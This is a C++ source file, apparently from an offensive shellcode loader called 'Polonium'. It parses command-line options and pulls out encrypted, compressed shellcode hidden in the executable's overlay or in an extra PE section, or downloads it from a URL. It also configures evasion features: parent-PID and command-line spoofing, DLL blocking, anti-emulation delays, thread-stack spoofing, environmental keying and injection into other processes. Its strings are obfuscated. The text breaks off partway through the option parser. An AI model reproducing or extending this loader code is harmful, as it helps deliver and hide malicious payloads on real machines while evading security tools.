
#include "options.h"
#include "crypto.h"

#ifdef _MSC_VER 
    #include "helpers/getopt.h"
#else
    #include <unistd.h>
#endif

std::vector<std::string> OptionsParser::processArgsLine(std::wstring args)
{
    std::wstring s, temp;
    std::wistringstream iss(args);

    size_t argc = 0;
    constexpr size_t MaxSize = 100;
    std::vector<std::string> vec;

    size_t i = 0, pos = 0;
    while (std::getline(iss, s, L' '))
    {
        i += 1;
        if (i > MaxSize)
        {
            break;
        }

        pos += s.size();

        if (s[0] == L'"')
        {
            temp = s + L' ';
        }
        else if (s.back() == L'"')
        {
            temp += s;
            vec.push_back(std::string(temp.begin(), temp.end()));
            temp.clear();
        }
        else if (pos + 1 <= args.size() && args[pos + 1] == L' ' && !temp.empty())
        {
            temp += s;
            temp += L' ';
        }
        else
        {
            vec.push_back(std::string(s.begin(), s.end()));
        }
    }

    return vec;
}

void OptionsParser::usage()
{
#ifndef _POLON_LESS_STRINGS
    for (const auto u : Program_Usage_String)
    {
        output(true, u);
    }

    flushCachedLogLines(true);
#endif
}

bool OptionsParser::verifyEmbeddedPayload(std::vector<uint8_t> bytes, bool section, bool silentTry)
{
    bool result = false;
    size_t extractedBufferSize = 0;
	std::vector<uint8_t> decompressed, compressedBuffer, rawPayload;
    std::shared_ptr<uint8_t> extractedBuffer;

    if (bytes.size() < (sizeof(OverlayMetadata) + Minimum_Payload_Length))
    {
		if (!silentTry) verbose(OBF(L"[-] Input payload in "),
			(section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L" is too short."));
        return false;
    }

    OverlayMetadata meta = *reinterpret_cast<OverlayMetadata*>(bytes.data());

	const size_t n = 8;
	size_t payloadStartOffset = sizeof(OverlayMetadata::paramsLen);
	const size_t encodedPartOfOverlayOffset = sizeof(OverlayMetadata) - payloadStartOffset;
	const size_t numberOfBytesToExtract = bytes.size() - encodedPartOfOverlayOffset;
    const size_t encryptedBytesCount = bytes.size() - encodedPartOfOverlayOffset;
    DWORD* marker;

#ifndef _POLON_LESS_STRINGS
    if (/*!silentTry */ true)
    {
        auto hexdump = getHexdump(&bytes[0], min(bytes.size(), 32));

        verbose(OBF(L"[.] Verifying bytes embedded in "),
            (section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L":\n"), hexdump);
    }
#endif

    /*
        AlgorithmValueMap = {
            'none' : 0,
            'xor8' : 1,
            'xor32' : 2,
            'rc4' : 3
        }
    */

    switch (meta.encodeAlgo)
    {
    case 0: programOptions.EncryptionUsed = PayloadEncryption::NoEncryption; break;
    case 1: programOptions.EncryptionUsed = PayloadEncryption::Xor8; break;
    case 2: programOptions.EncryptionUsed = PayloadEncryption::Xor32; break;
    default: 
        {
        if (!silentTry) verbose(OBF(L"[-] Input payload in "),
            (section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L" doesn't seem to conform embedded data's format."));
        goto cleanup;
        }
    }

    /*
        CompressionValueMap = {
            'none' : 0,
            'xpress' : 1,
            'xpresshuffman' : 2,
            'lznt1' : 3,
        }
    */
	switch (meta.compressAlgo)
	{
	case 0: programOptions.CompressionUsed = PayloadCompression::NoCompression; break;
	case 1: programOptions.CompressionUsed = PayloadCompression::Xpress; break;
	case 2: programOptions.CompressionUsed = PayloadCompression::XpressHuffman; break;
    case 3: programOptions.CompressionUsed = PayloadCompression::Lznt1; break;
	default:
	{
		if (!silentTry) verbose(OBF(L"[-] Input payload in "),
			(section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L" doesn't seem to conform embedded data's format due to unknown compression chosed."));
        goto cleanup;
	}
	}

    if (meta.shellcodeLen < Minimum_Payload_Length || meta.uncompressedShellcodeLen < Minimum_Payload_Length)
    {
        if (!silentTry) verbose(OBF(L"[-] FAILURE: The length of shellcode embedded in "), 
            (section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L" was too short. Considering embedded data to be corrupted."));
        goto cleanup;
    }

    if ((meta.shellcodeLen > Maximum_Shellcode_Length || meta.shellcodeLen > numberOfBytesToExtract) ||
        (meta.uncompressedShellcodeLen > Maximum_Shellcode_Length)
    )
    {
        if (!silentTry) verbose(OBF(L"[-] FAILURE: The length of shellcode embedded in "),
            (section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L" was too long. Considering embedded data to be corrupted."));
        goto cleanup;
    }

    memcpy(&programOptions.EncryptionKey[0], &meta.encodeKey, sizeof(programOptions.EncryptionKey));

    extractedBufferSize = numberOfBytesToExtract + n;
    extractedBuffer.reset(new uint8_t[extractedBufferSize]);
    memcpy(extractedBuffer.get(), &bytes[encodedPartOfOverlayOffset], numberOfBytesToExtract);

    rawPayload.resize(numberOfBytesToExtract);
    memcpy(rawPayload.data(), &bytes[encodedPartOfOverlayOffset], numberOfBytesToExtract);

    if (meta.encodeKey != 0 && programOptions.EncryptionUsed != Xor8)
    {
        if (programOptions.EncryptionUsed == Xor8)
        {
            xor8(extractedBuffer.get(), meta.shellcodeLen, meta.encodeKey);
        }
        else if (programOptions.EncryptionUsed == Xor32)
        {
            xor32(extractedBuffer.get(), meta.shellcodeLen, meta.encodeKey);
        }
        else if(programOptions.EncryptionUsed == PayloadEncryption::RC4)
        {
            RC4Encoder rc4;
            std::vector<uint8_t> key;
            key.resize(sizeof(meta.encodeKey));
            memcpy(key.data(), &meta.encodeKey, sizeof(meta.encodeKey));

            std::vector<uint8_t> encrypted(extractedBufferSize + 1, 0);

            memcpy(encrypted.data(), extractedBuffer.get(), extractedBufferSize);
            auto out = rc4.RC4(key, encrypted);

            memcpy(extractedBuffer.get(), encrypted.data(), extractedBufferSize);
            encrypted.clear();
        }
    }

    compressedBuffer.resize(numberOfBytesToExtract);
    decompressed.resize(meta.uncompressedShellcodeLen);
    memcpy(compressedBuffer.data(), extractedBuffer.get(), compressedBuffer.size());

    //info(L"DEBUG: after-xor, pre-decompress, len: ", compressedBuffer.size(), L":\n", getHexdump(compressedBuffer.data(), 32), L"(...)\n", getHexdump(&compressedBuffer[compressedBuffer.size() - 32], 32));

    if (!decompressBuffer(
        compressedBuffer,
        decompressed,
        programOptions.CompressionUsed
    ))
    {
		if (!silentTry) verbose(OBF(L"[-] FAILURE: Decompression of the data embedded in "),
			(section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L" failed. Considering embedded data to be corrupted."));
        goto cleanup;
    }

	if (decompressed.size() != meta.uncompressedShellcodeLen && (decompressed.size() + 1 != meta.uncompressedShellcodeLen))
	{
		info(OBF(L"[-] WARNING: Decompression was expected to yield "), meta.uncompressedShellcodeLen, OBF(L" bytes, but returned: "), decompressed.size());
	}

    extractedBufferSize = decompressed.size();
    extractedBuffer.reset(new uint8_t[extractedBufferSize]);
    
    memset(extractedBuffer.get(), 0, extractedBufferSize);
    memcpy(extractedBuffer.get(), decompressed.data(), extractedBufferSize);

	marker = reinterpret_cast<DWORD*>(&extractedBuffer.get()[extractedBufferSize - 4]);
	if (*marker == 0xDEADBEEF)
	{
		programOptions.InputEncodedShellcodeLen = meta.shellcodeLen;
        programOptions.InputShellcodeLen = extractedBufferSize;
	}
    else
    {
        extractedBufferSize = meta.shellcodeLen;
        marker = reinterpret_cast<DWORD*>(&extractedBuffer.get()[extractedBufferSize - 4]);
        if (*marker == 0xDEADBEEF)
        {
            programOptions.InputEncodedShellcodeLen = extractedBufferSize;
			programOptions.InputShellcodeLen = extractedBufferSize;
        }
    }

    if (*marker != 0xDEADBEEF)
	{
		if (!silentTry) verbose(OBF(L"[-] FAILURE: The embedded payload in "),
			(section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L" did not contain encrypted marker at its end. Data corrupted."));

		goto cleanup;
	}
    
    meta.paramsLen = *reinterpret_cast<uint16_t*>(extractedBuffer.get());

    if (meta.paramsLen > Maximum_Parameters_Length)
    {
        if (!silentTry) verbose(OBF(L"[-] FAILURE: The length of parameters embedded in "),
            (section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L" was too long. Considering embedded data to be corrupted."));
        goto cleanup;
    }

    if (meta.paramsLen > Maximum_Parameters_Length)
    {
        if (!silentTry) verbose(OBF(L"[-] FAILURE: The length of parameters embedded in "),
            (section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L" was too long. Considering embedded data to be corrupted."));
        goto cleanup;
    }

    if ((meta.paramsLen + extractedBufferSize) < 4 || (meta.paramsLen + extractedBufferSize) > Maximum_Shellcode_Length)
    {
        if (!silentTry) verbose(OBF(L"[-] FAILURE: The length of shellcode embedded in "),
            (section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L" was either too short or too long. Considering embedded data to be corrupted."));
        goto cleanup;
    }

    //
    // ---------------------------------------------------------
    // Below this point we consider input payload as legitimate
    //

    verbose(OBF(L"[.] Key extracted from "), (section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L": 0x"), std::hex, std::setfill(L'0'), std::setw(8), meta.encodeKey);

    if (meta.paramsLen > 0)
    {
        std::shared_ptr<char> params(new char[meta.paramsLen + 2]);
        memset(params.get(), 0, meta.paramsLen + 2);
        memcpy(params.get(), &extractedBuffer.get()[payloadStartOffset], meta.paramsLen);

        std::string p(params.get());
        programOptions.OverlayPayloadParameters = trim(std::wstring(p.begin(), p.end()));
        p = "";

        verbose(OBF(L"[.] Payload execution parameters extracted from embedded structure in "),
            (section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L": "), programOptions.OverlayPayloadParameters);

        if (silentTry && programOptions.OverlayPayloadParameters.find(OBFI(L" -f ")) != std::wstring::npos)
        {
            verbose(OBF(L"[.] Omitting explicit -f <x> specification as the embeded payload was extracted in an unassisted manner."));
            programOptions.OverlayPayloadParameters = stringreplace(programOptions.OverlayPayloadParameters, OBF_WSTR(L" -f a"), {});
            programOptions.OverlayPayloadParameters = stringreplace(programOptions.OverlayPayloadParameters, OBF_WSTR(L" -f b"), {});
        }

        payloadStartOffset += meta.paramsLen;
    }

    programOptions.InputShellcodeBuffer = rawPayload;
    programOptions.InputUncompressedShellcodeLen = meta.uncompressedShellcodeLen;
    programOptions.positionOfPayloadInBuffer = payloadStartOffset;
    programOptions.payloadEmbeddedIn = (section)? 
        PayloadEmbedTechnique::PayloadInSection : PayloadEmbedTechnique::PayloadInOverlay;

    verbose(OBF(L"[+] Read "), meta.shellcodeLen, OBF(L" bytes of shellcode from Polonium's "), (section ? OBF(L"PE section") : OBF(L"overlay")), OBF(L"."));
    result = true;

cleanup:
    if (extractedBuffer)
    {
        memset(extractedBuffer.get(), 0, extractedBufferSize);
        extractedBuffer.reset();
    }

    if (!decompressed.empty())
    {
        memset(decompressed.data(), 0, decompressed.size());
        decompressed.clear();
    }

    if (!rawPayload.empty())
    {
		memset(rawPayload.data(), 0, rawPayload.size());
		rawPayload.clear();
    }

	if (!compressedBuffer.empty())
	{
		memset(compressedBuffer.data(), 0, compressedBuffer.size());
		compressedBuffer.clear();
	}

    return result;
}

bool OptionsParser::checkIfHasOverlay(PE *pe)
{
    auto modulePath = getModulePath(GetCurrentProcessId(), reinterpret_cast<const BYTE*>(&globalVerboseOption));
    if (modulePath.empty())
    {
        verbose(OBF(L"[!] Could not determine path to the own process file. FAILURE"));
        return false;
    }

    PE foo;
    if (!pe)
    {
        pe = &foo;
    }
    if (!pe->AnalyseFile(modulePath, true))
    {
        verbose(OBF(L"[!] Could not process input PE file. Error: 0x"), std::hex, pe->GetError());
        return false;
    }

    return pe->HasOverlay();
}

bool OptionsParser::getPayloadFromOverlay(bool overriding, bool silentTry)
{
    if (overlayOptionsParsed)
    {
        return true;
    }

    PE pe;
    if(checkIfHasOverlay(&pe))
    {
        auto bytes = pe.ReadOverlay();
        if (bytes.empty())
        {
            if (!overriding && !silentTry)
            {
                verbose(OBF(L"[!] There is no overlay in launched file."));
            }
            return false;
        }

        if (bytes.size() < sizeof(OverlayMetadata))
        {
            if (!silentTry) verbose(OBF(L"[!] The embedded data format is incorrect."));
            return false;
        }

        bool out = verifyEmbeddedPayload(bytes, false, silentTry);

        if (out && overriding && !silentTry)
        {
            programOptions.payloadEmbeddedIn = PayloadEmbedTechnique::PayloadInOverlay;
            verbose(OBF(L"[+] Overriding payload selection: instead of picking the hardcoded one will use the one from Overlay."));
        }

        return out;
    }

    if (!overriding && !silentTry)
    {
        verbose(OBF(L"[!] There is no overlay in launched EXE file."));
    }
    return false;
}

bool OptionsParser::getPayloadFromPESection(bool overriding, bool silentTry)
{
    if (overlayOptionsParsed)
    {
        return true;
    }
    
    PE pe;
    if(analyseOwnMemoryRegion(pe))
    {
        __IMAGE_SECTION_HEADER& section = pe.GetLastSection();
        std::string sectionName = std::string(section.szSectionName);
        
        if (sectionName != Shellcode_Additional_Section_Name)
        {
            for (size_t i = 0; i < pe.GetSectionsCount(); i++)
            {
                section = pe.GetSection(i);
                sectionName = std::string(section.szSectionName);
                if (sectionName != Shellcode_Additional_Section_Name)
                {
                    break;
                }
            }
        }
        
        if (sectionName != Shellcode_Additional_Section_Name)
        {
            if (!overriding && !silentTry)
            {
                std::wstring wsectionName(sectionName.begin(), sectionName.end());
                verbose(OBF(L"[!] Unexpected last section name - probably not having shellcode: "), wsectionName);

#if defined(_DEBUG)
                for (size_t i = 0; i < pe.GetSectionsCount(); i++)
                {
                    const auto& sect = pe.GetSection(i);
                    std::string sectName(sect.szSectionName);
                    std::wstring wsectName(sectName.begin(), sectName.end());
                    verbose(OBF(L"\t"), i, OBF(L". Section: ("), wsectName, OBF(L"), virtAddr: "),
						std::hex, sect.s.VirtualAddress, OBF(L", sizeOfRawData: "),
						std::hex, sect.s.SizeOfRawData);
                }
#endif
            }

            return false;
        }

        auto bytes = pe.ReadSection(section);

        if (bytes.empty())
        {
            if (!overriding && !silentTry)
            {
                verbose(OBF(L"[!] There is no additional PE section in launched file."));
            }
            return false;
        }

        if (bytes.size() < sizeof(OverlayMetadata))
        {
            if(!silentTry) verbose(OBF(L"[!] The embedded data format is incorrect."));
            return false;
        }

        bool out = verifyEmbeddedPayload(bytes, true, silentTry);

        if (out && overriding && !silentTry)
        {
            programOptions.payloadEmbeddedIn = PayloadEmbedTechnique::PayloadInSection;
            verbose(OBF(L"[+] Overriding payload selection: instead of picking the hardcoded one will use the one from additional PE section."));
        }

        return out;
    }

    if (!overriding && !silentTry)
    {
        verbose(OBF(L"[!] There is no additional PE section in launched EXE file."));
    }
    return false;
}

bool OptionsParser::fetchPayloadFromNetwork(const std::wstring& url)
{
    std::vector<uint8_t> buffer;

    const size_t Max_Download_Retries = 30;
    DWORD sleep = 1000;
    size_t retry = 0;
    bool succeeded = false;

    info(OBF(L"[.] Downloading payload from the specified URL ("), url, OBF(L")..."));

    while (retry < Max_Download_Retries)
    {
        bool dontRetry = false;
        if (!downloadResource(url, buffer, &dontRetry))
        {
            if (dontRetry)
            {
                info(OBF(L"[-] A decision was made not to retry anymore. Download failed."));
                break;
            }

            verbose(OBF(L"[-] Connection failed. Retrying: "), ++retry, OBF(L"/"), Max_Download_Retries);
            Anti::delay(DelayAllTechniques | sleep);
            sleep += 1000;
        }
        else
        {
            succeeded = true;
            break;
        }
    }

    if (succeeded)
    {
        //
        // Try overlay-like payload parsing first.
        //
        if (buffer.empty())
        {
            info(OBF(L"[!] Downloaded empty payload. Falling back to the hardcoded one."));
            return false;
        }

        info(OBF(L"[+] Downloaded "), buffer.size(), OBF(L" bytes of payload."));

        if (buffer.size() > sizeof(OverlayMetadata))
        {
            if (!verifyEmbeddedPayload(buffer, false, false))
            {
                info(OBF(L"[.] Downloaded payload doesn't seem to conform embedded data's encoded format. Falling back to a straight payload form."));

                const size_t n = 0x100;
                const DWORD marker = 0xDEADBEEF;

                programOptions.InputEncodedShellcodeLen = buffer.size();
                programOptions.InputShellcodeBuffer.resize(buffer.size()+sizeof(marker));

                memcpy(programOptions.InputShellcodeBuffer.data(), buffer.data(), buffer.size());
                memcpy(&programOptions.InputShellcodeBuffer[programOptions.InputEncodedShellcodeLen], &marker, sizeof(marker));
                
                programOptions.payloadEmbeddedIn = PayloadEmbedTechnique::PayloadInFile;
            }
            else
            {
                verbose(OBF(L"[+] Downloaded payload seems to be in embedded data's format. Processed it successfully."));
            }
        }

        return true;
    }

    return false;
}

bool OptionsParser::openShellcodeFile(const std::wstring& filePath)
{
    if (filePath.size() == 1 && filePath[0] == L'a')
    {
        verbose(OBF(L"[.] Opening shellcode buffer from Overlay"));
        getPayloadFromOverlay();
    }
    else if (filePath.size() == 1 && filePath[0] == L'b')
    {
        verbose(OBF(L"[.] Opening shellcode buffer from PE Section"));
        getPayloadFromPESection();
    }
    else
    {
        verbose(OBF(L"[.] Opening shellcode file: "), filePath);

        RESOLVE(kernel32, CreateFileW);
        HANDLE file = _CreateFileW(
            filePath.c_str(),
            GENERIC_READ,
            FILE_SHARE_READ,
            nullptr,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            nullptr
        );

        if (file == static_cast<HANDLE>(INVALID_HANDLE_VALUE))
        {
            info(OBF(L"[!] Could not open a file with shellcode. Error: "), GetLastError());
            return false;
        }

        LARGE_INTEGER size = { 0 };
        RESOLVE(kernel32, GetFileSizeEx);
        if (!_GetFileSizeEx(file, &size))
        {
            info(OBF(L"[!] Could not obtain shellcode's file size. Error: "), GetLastError());
            CloseHandle(file);
            return false;
        }

        const size_t n = 0x1000;
        std::vector<uint8_t> buffer;
        buffer.resize(size.LowPart + n);

        DWORD readBytes;
        RESOLVE(kernel32, ReadFile);
        if (!_ReadFile(
            file, &buffer[0], size.LowPart, &readBytes, nullptr
        ))
        {
            info(OBF(L"[!] Could not read shellcode's file contents. Error: "), GetLastError());
            programOptions.InputShellcodeBuffer.clear();
            CloseHandle(file);
            return false;
        }

        CloseHandle(file);

        verbose(OBF(L"[.] Validating shellcode file bytes..."));

        if (!verifyEmbeddedPayload(buffer, false, false))
        {
            verbose(OBF(L"[.] Shellcode file does not contain polonium parameters structure. Reading it directly."));

            const DWORD marker = 0xDEADBEEF;

            programOptions.InputEncodedShellcodeLen = size.LowPart + sizeof(marker);
            programOptions.InputUncompressedShellcodeLen = programOptions.InputEncodedShellcodeLen;
            programOptions.InputShellcodeLen = programOptions.InputEncodedShellcodeLen;

            programOptions.InputShellcodeBuffer.resize(programOptions.InputEncodedShellcodeLen);
            memcpy(programOptions.InputShellcodeBuffer.data(), buffer.data(), programOptions.InputEncodedShellcodeLen);

            memcpy(&programOptions.InputShellcodeBuffer[size.LowPart], &marker, sizeof(marker));
            programOptions.payloadEmbeddedIn = PayloadEmbedTechnique::PayloadInFile;
            verbose(OBF(L"[+] Read "), programOptions.InputEncodedShellcodeLen, OBF(L" bytes of shellcode from input file."));
        }
        else
        {
            verbose(OBF(L"[+] Payload fetched from file seems to be in embedded data's format. Processed it successfully."));
        }
    }

    return true;
}

bool OptionsParser::processEnvironmentalKeying(const std::wstring& paramsLine)
{
    EnvironmentalKeying key;

    size_t comma = paramsLine.find(',');
    if (comma != std::wstring::npos)
    {
        key.method = std::wstring(paramsLine, 0, comma);
        comma++;

        size_t quoteStart = 0, quoteStop = 0;

        while (comma < paramsLine.size())
        {
            size_t nextComma = paramsLine.find(L',', comma);

            if (nextComma == std::wstring::npos)
            {
                key.params.push_back(std::wstring(paramsLine, comma, paramsLine.size() - comma));
                break;
            }
            else
            {
                key.params.push_back(std::wstring(paramsLine, comma, (nextComma-comma)));
                comma = nextComma + 1;
            }
        }
    }
    else
    {
        key.method = paramsLine;
    }

    if (Supported_Environmental_Keying_Tactics.find(key.method) == Supported_Environmental_Keying_Tactics.end())
    {
        info(OBF(L"[!] Environmental keying tactic not supported: "), key.method);
        return false;
    }

    if (key.params.size() < Supported_Environmental_Keying_Tactics[key.method].second)
    {
        info(OBF(L"[!] Environmental keying tactic requires at minimum "), 
            Supported_Environmental_Keying_Tactics[key.method].second, OBF(L" number of arguments comma separated!"));
        return false;
    }

    programOptions.EnvironmentalKeyings.push_back(key);
    return true;
}

bool OptionsParser::parseOptions(size_t argc, char **argv, bool overrideMode /*= false */)
{
    int opt;
    //                                m, n, o,
    std::string _optstring = OBFI_ASCII("abC:c:d:D:e:Ff:ghHi:j:k:K:l:Lp:P:qrs:S:tTuUywvxX:YZ");
    const char *optstring = _optstring.c_str();

    char inputFileType = '?';
    bool verboseOverride = false;
    bool quietOverride = false;

    GlobalConfig emptyArgs;

    preParseOptions(static_cast<int>(argc), argv, verboseOverride, quietOverride, inputFileType);

    bool injectIntoProcess = false;
    bool listProcessesAndExit = false;
    bool manualDelaySet = false;
    optind = optreset = 1;
    size_t parsedOpts = 1;

    while ((opt = getopt(static_cast<int>(argc), argv, optstring)) != -1)
    {
        std::string soptarg;
        if (optarg != nullptr)
        {
            soptarg = std::string(optarg);
            parsedOpts++;
        }

        parsedOpts++;

        const size_t f = (soptarg[0] == '"') ? 1 : 0;
        const std::wstring woptarg(soptarg.begin() + f, soptarg.end() - f);

        switch (opt)
        {
            case 'a':
            {
                programOptions.AllEvasions = true;
                programOptions.SpawnChild = true;
                programOptions.AntiSplicing = true;
                programOptions.ApplyEvasionPatches = true;
                programOptions.AntiEmulation = 1;
                programOptions.BlockDlls = true;
                programOptions.ShellcodeFluctuation = true;
                programOptions.SpoofThreadStacks = true;
                //programOptions.TrampolineShellcodeExecution = true;

                programOptions.ShellcodeFragmentSize = 4096;
                programOptions.FragmentedWriteDelay = 1000;

                if (overrideMode) programOptions.Delay = emptyArgs.Delay;
                if (!manualDelaySet) programOptions.Delay = Default_Program_Delay;
                programOptions.Delay |= DelayTechnique::OfferYouHaveToRefuse;
                programOptions.Delay |= DelayTechnique::MillionsIncrements;
                programOptions.Delay |= DelayTechnique::SenselessAES;

                auto imagePath = getChildProcessPath(programOptions.TargetProcess);
                std::wostringstream woss;
                woss << OBFI(L"\"") + imagePath + OBFI(L"\" ");

                wcscpy_s(programOptions.CmdlineSpoofing, _countof(programOptions.CmdlineSpoofing), woss.str().c_str());

                //programOptions.ParentPidSpoofing = findSuitableProcess(false);
                programOptions.ParentPidSpoofing = SPOOF_PARENT_PROCESS_PID_AUTO;
                break;
            }
            case 'b':
            {
                programOptions.BlockDlls = true;
                break;
            }
            case 'c':
            {
                auto imagePath = getChildProcessPath(programOptions.TargetProcess);
                std::wostringstream woss;
                woss << OBFI(L"\"") + imagePath + OBFI(L"\" ") + woptarg;

                wcscpy_s(programOptions.CmdlineSpoofing, _countof(programOptions.CmdlineSpoofing), woss.str().c_str());
                break;
            }
			case 'C':
			{
				if (!woptarg.compare(OBFI(L"lznt1"))) programOptions.CompressionUsed = Lznt1;
                else if (!woptarg.compare(OBFI(L"none"))) programOptions.CompressionUsed = NoCompression;
				else
				{
					info(OBF(L"[!] Invalid compression algorithm specified."));
					return false;
				}
				break;
			}
            case 'd':
            {
                if (overrideMode) programOptions.Delay = emptyArgs.Delay;

                bool processed = false;
                for (auto c : woptarg)
                {
                    switch (c)
                    {
                    case 'a':
                        programOptions.Delay |= DelayTechnique::OfferYouHaveToRefuse;
                        processed = true;
                        break;
                    case 'b':
                        programOptions.Delay |= DelayTechnique::MillionsIncrements;
                        processed = true;
                        break;
                    case 'c':
                        programOptions.Delay |= DelayTechnique::SenselessAES;
                        processed = true;
                        break;
                    }
                }

                if (!processed)
                {
                    programOptions.Delay |= std::stoi(woptarg) * 1000;
                    manualDelaySet = true;
                }

                break;
            }
			case 'D':
			{
				bool processed = false;
				for (auto c : woptarg)
				{
					switch (c)
					{
					case 'a':
						programOptions.FragmentedWriteDelay |= DelayTechnique::OfferYouHaveToRefuse;
						processed = true;
						break;
					case 'b':
						programOptions.FragmentedWriteDelay |= DelayTechnique::MillionsIncrements;
						processed = true;
						break;
					case 'c':
						programOptions.FragmentedWriteDelay |= DelayTechnique::SenselessAES;
						processed = true;
						break;
					}
				}

				if (!processed)
				{
					programOptions.FragmentedWriteDelay |= std::stoi(woptarg);
					manualDelaySet = true;
				}

				break;
			}
            case 'e':
            {
                if (!woptarg.compare(OBFI(L"xor8"))) programOptions.EncryptionUsed = Xor8;
                else if (!woptarg.compare(OBFI(L"xor32"))) programOptions.EncryptionUsed = Xor32;
                else
                {
                    info(OBF(L"[!] Invalid encryption algorithm specified."));
                    return false;
                }
                break;
            }
            case 'f':
            {
                programOptions.shellcodeLocation = woptarg;

                if (woptarg.rfind(OBFI(L"http://"), 0) == 0 || woptarg.rfind(OBFI(L"https://"), 0) == 0)
                {
                    fetchPayloadFromNetwork(woptarg);
                }
                else if (!openShellcodeFile(woptarg))
                {
                    verbose(OBF(L"[!] Could not open input shellcode file!"));
                    return false;
                }
                break;
            }
            case 'F':
            {
                programOptions.FallbackAndSwitchStrategy = true;
                break;
            }
            case 'g':
            {
                programOptions.ApplyEvasionPatches = true;
                break;
            }
            case 'H':
            {
                programOptions.TrampolineShellcodeExecution = true;
                break;
            }
            case 'i':
            {
                try
                {
                    if (overrideMode)
                    {
                        programOptions.AutoSelectTarget = emptyArgs.AutoSelectTarget;
                        programOptions.TargetProcessPid = emptyArgs.TargetProcessPid;
                    }

                    injectIntoProcess = true;
                    if (woptarg.compare(OBFI(L"auto")) == 0)
                    {
                        programOptions.AutoSelectTarget = true;
                    }
                    else
                    {
                        if (woptarg[0] == L'0' && woptarg[1] == L'x') programOptions.TargetProcessPid = std::stoi(woptarg, nullptr, 16);
                        else programOptions.TargetProcessPid = std::stoi(woptarg, nullptr);

                        std::wstring imageName = getProcessName(programOptions.TargetProcessPid);
                        if (imageName.empty()) throw std::invalid_argument(OBFI_ASCII("Could not find process specified."));
                    }
                
                    break;
                }
                catch (std::invalid_argument)
                {
                    programOptions.TargetProcessPid = getProcessId(woptarg);
                    if (programOptions.TargetProcessPid == 0 || programOptions.TargetProcessPid == 0xffffffff)
                    {
                        info(OBF(L"[!] Could not find process based on it's PID or image name!"));
                        return false;
                    }
                }

                const std::wstring imageName = getProcessName(programOptions.TargetProcessPid);
                verbose(OBF(L"[+] Will inject into running process: ("), imageName, OBF(L") with PID = "), programOptions.TargetProcessPid);

                break;
            }
            case 'j':
            {
                programOptions.SpawnChild = true;
                programOptions.TargetProcess = adjustPath(woptarg);
                if (programOptions.TargetProcess.empty())
                {
                    info(OBF(L"[!] Could not find specified executable in %SystemRoot%, %SystemRoot%\\System32 neither with nor without .exe!"));
                    return false;
                }

                verbose(OBF(L"[+] Will spawn process: "), programOptions.TargetProcess);

                break;
            }
            case 'k':
            {
                try
                {
                    size_t dummy = 0;

                    if (woptarg[0] == L'0' && woptarg[1] == L'x')
                    {
						if (woptarg.size() <= 2)
						{
							info(OBF(L"[!] Too short HEX encryption key specified. Must be more than 2 characters with 0x prefix, given: "), woptarg.size());
							return false;
						}

                        auto woptarg2 = std::wstring(&woptarg[2]);
                        *reinterpret_cast<uint32_t*>(programOptions.EncryptionKey) = (uint32_t)std::stoul(woptarg2, &dummy, 16);
                    }
                    else
                    {
                        *reinterpret_cast<uint32_t*>(programOptions.EncryptionKey) = (uint32_t)std::stoul(woptarg, &dummy, 10);
                    }

                    verbose(OBF(L"[.] Using numbered key value of: 0x"), std::hex,
                        *reinterpret_cast<uint32_t*>(programOptions.EncryptionKey),
                        OBF(L" / "),
                        *reinterpret_cast<uint32_t*>(programOptions.EncryptionKey)
                    );
                    break;
                }
                catch (std::invalid_argument)
                {
                    if (soptarg.size() >= sizeof(programOptions.EncryptionKey))
                    {
                        info(OBF(L"[!] Too long encryption key specified. Must be up to 256 bytes, given: "), soptarg.size());
                        return false;
                    }

                    strncpy(reinterpret_cast<char*>(programOptions.EncryptionKey), soptarg.c_str(), soptarg.size());
                    verbose(OBF(L"[.] Using key value of: ("), std::hex,
                        reinterpret_cast<char*>(programOptions.EncryptionKey),
                        OBF(L")")
                    );
                }
                catch (std::exception)
                {
					info(OBF(L"[!] An exception occurred while parsing Encryption key! Given key: "), woptarg);
					return false;
                }

                break;
            }
            case 'K':
            {
                if (overrideMode) programOptions.EnvironmentalKeyings.clear();

                if (!processEnvironmentalKeying(woptarg))
                {
                    info(OBF(L"[!] Could not parse given environmental keying parameters line."));
                    return false;
                }

                break;
            }
            case 'l':
            {
                if (!woptarg.empty())
                {
                    if (woptarg.compare(L"-") != 0)
                    {
                        RESOLVE(kernel32, ExpandEnvironmentStringsW);
                        _ExpandEnvironmentStringsW(woptarg.c_str(), globalLogFilePath, MAX_PATH - 1);
                        //wcsncpy_s(globalLogFilePath, woptarg.c_str(), MAX_PATH - 1);
                    }

                    flushCachedLogLines();
                }
                break;
            }
            case 'L':
            {
                listProcessesAndExit = true;
                break;
            }
            case 'P':
            {
                DWORD protection = interpretPageProtectionParameter(woptarg);
                if (protection != 0)
                {
                    programOptions.PageProtection = protection;
                }
                else
                {
                    return false;
                }
                break;
            }
            case 'p':
            {
                try
                {
                    programOptions.SpawnChild = true;
                    if (woptarg.compare(OBFI(L"auto")) == 0)
                    {
                        //programOptions.ParentPidSpoofing = findSuitableProcess(false);
                        programOptions.ParentPidSpoofing = SPOOF_PARENT_PROCESS_PID_AUTO;
                    }
                    else
                    {
                        programOptions.ParentPidSpoofing = std::stoi(woptarg);
                    }
                }
                catch (std::invalid_argument)
                {
                    programOptions.ParentPidSpoofing = getProcessId(woptarg);
                    if (programOptions.ParentPidSpoofing == 0xffffffff)
                    {
                        info(OBF(L"[!] Invalid parent PID spoofing argument. Non existent process or invalid PID."));
                        return false;
                    }
                }
                break;
            }
            case 'q':
            {
                globalQuietOption = programOptions.Quiet = true;
                break;
            }
            case 'r':
            {
                programOptions.AntiSplicing = true;
                break;
            }
            case 's':
            {
                try
                {
                    programOptions.InjectionStrategy = std::stoi(woptarg);

                    if (programOptions.InjectionStrategy > Max_Strategy_To_Choose && programOptions.InjectionStrategy != 99)
                    {
                        info(OBF(L"[!] Invalid injection strategy selected. Maximum available is: -s "), Max_Strategy_To_Choose);
                        return false;
                    }
                }
                catch (std::invalid_argument)
                {
